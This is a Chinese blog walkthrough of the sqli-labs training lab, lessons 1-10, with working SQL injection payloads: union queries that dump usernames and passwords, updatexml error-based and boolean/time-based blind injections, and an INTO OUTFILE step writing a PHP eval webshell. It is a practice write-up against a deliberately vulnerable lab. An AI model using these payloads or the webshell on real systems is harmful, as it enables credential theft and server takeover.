• sqli-labs闯关1-10


    sqli-labs 1-10

    Less-1

    1、根据题目构造?id=1,页面回显出当前登录名和密码,再根据题目名就知道这是一个单引号字符型注入,加个单引号试试,发现页面回显不正常,并报错这是MySql数据库,再将单引号闭合发现页面回显又正常了,基本可以证明。

    2、知道是什么类型的注入之后,接着使用联合查询注入判断该表中有几列字段,当输入查询1或2个字段时出现错误信息。

    3、查询3个字段时恢复正常,查询4个时又报错,说明此表有3个字段。

    4、将id值改成一个数据库可能不存在的值,得到2、3两个显示位。

    5、在一系列查询之后,得到了用户名字段为username,密码字段为password,查询到所有的用户名和密码:
    'union select 1,2,(select group_concat('--',username,'~',password) from security.users)+--+
    

    Less-2

    1、在输入两个单引号之后发现页面依然报错,考虑一下可能是数字型注入。

    2、输入1 and 1=1之后发现页面回显正常,输入1 and 1=2之后发现未有错误显示,于是判断是数字型注入。

    3、同样使用联合查询获取用户名和密码:
    0 union select 1,2,(select group_concat(username,"$",password) from security.users)+--+
    

    Less-3

    1、同Less-1的方法判断是字符型注入,不同的是闭合字符是单引号加括号。

    2、同样使用联合查询获取用户名和密码:
    ') union select 1,2,(select group_concat('--',username,'~',password) from security.users)+--+
    

    Less-4

    1、同Less-1的方法判断是字符型注入,不同的是闭合字符是双引号加括号。

    2、同样使用联合查询获取用户名和密码:
    ") union select 1,2,(select group_concat('--',username,'~',password) from security.users)+--+
    

    Less-5

    1、同Less-1的方法判断是字符型注入,只不过页面的显示好像有哪里不对?当输入1时显示如下。

    2、输入0时啥也没显示,说明页面没有显示位,无法使用联合查询方法注入。

    3、那么使用报错注入获取用户名和密码:
    'and (updatexml(1,concat(0x7e,(select concat(username,'/',password) from security.users limit 0,1),0x7e),1))='1
    
    因为报错函数updatexml限制了输出字符最长为32位,所以只能使用concat函数配合limit一个一个地输出。

    Less-6

    1、同Less-5是字符型注入且没有显示位,与之不同的是闭合字符是双引号。

    2、同样使用报错注入获取用户名和密码:
    "and (updatexml(1,concat(0x7e,(select concat(username,'/',password) from security.users limit 0,1),0x7e),1))="1
    

    Less-7

    1、反复试验之后发现闭合字符是一个单括号加两个小括号,然后可以看到页面上提示说Use outfile,就是使用outfile将一句话木马写入文件。

    2、首先尝试写入文件:
    -1')) union select 1,2,3 into outfile "D:\phpstudy_pro\WWW\sqli-labs-master\Less-7\test.php"+--+
    
    但是发现并没有写入成功,说明还未获得文件写入权限。
    3、于是打开mysql命令行,输入:
    show variables like '%secure%';
    
    查看secure-file-priv 当前的值,可以看到当前值为NULL,接着打开phpstudy_proExtensionsMySQL5.7.26目录下的my.ini文件,插入一句话:
    secure_file_priv="/"
    

    4、保存之后重启phpstudy,再次在mysql命令行查看secure-file-priv 的值,此时Value里有内容了,说明修改成功,可以进行读写了。

    5、再次执行第2步,可以看到文件写入成功。

    6、试验成功之后就可以写入webshell了,已经知道编程语言是php,则可以使用一句话木马:
    <?php @eval($_POST['sql']);?>
    
    构造poc:
    -1')) union select 1,2,"<?php @eval($_POST['sql']);?>" into outfile "D:\phpstudy_pro\WWW\sqli-labs-master\Less-7\poc.php"--+
    

    7、可以看到写入成功了,此时打开Cknife连接成功。

    Less-8

    1、单引号尝试之后发现页面正确时显示You are in,非正常时啥也不显示,因此判断为布尔盲注,可以通过字符长度来判断真假,于是打开bp抓包,构造poc:
    1'+and+if(substr("nice",1,1)="e",1,0)--+
    
    此时页面啥也没显示

    但当输入正确时:
    1'+and+if(substr("nice",1,1)="n",1,0)--+
    
    页面回显正常,则可以使用if函数注入

    2、接下来构造获取数据库信息的poc:
    1'+and+if(substr(database(),1,1)="a",1,0)--+
    
    发送到Intruder,进行交叉爆破

    设置好payload之后开始爆破,排序一下可以看到得到的数据库名称

    Less-9

    1、已知该题是个时间盲注问题,那么尝试构造poc:
    1'+and+if(substr(database(),1,1)="a",sleep(5),sleep(1))--+
    
    2、像Less-8一样进行爆破,不过可以看到长度无任何变化,这时我们需要查看响应时间,点击最上面一栏的列字段,将接受响应计数勾上

    3、这时我们就能得到数据库名称了

    Less-10

    1、该题同Less-9一样是个时间盲注,不同的是闭合字符为双引号,构造poc:
    1"+and+if(substr(database(),1,1)="s",sleep(5),sleep(1))--+
    
  • 相关阅读:
    ios framework 使用图片资源
    XCode 6.4 Alcatraz 安装的插件不可用
    prefix pch 中引用cocoapods 中的头文件失败
    Xcode 6添加模板无效
    获取当前日期是星期几
    玩转iOS开发:《使用系统自带的UIActivityViewController和UIActivity进行内容分享》
    玩转iOS开发:《iOS设计模式 — 代理模式》
    玩转iOS开发:《iOS设计模式 — 单例模式》
    iOS开发技巧-Swift版本: 3.Storyboard传参小技巧
    UIKit应用
  • 原文地址:https://www.cnblogs.com/Iamyoyodan/p/12982547.html
Copyright © 2020-2023  润新知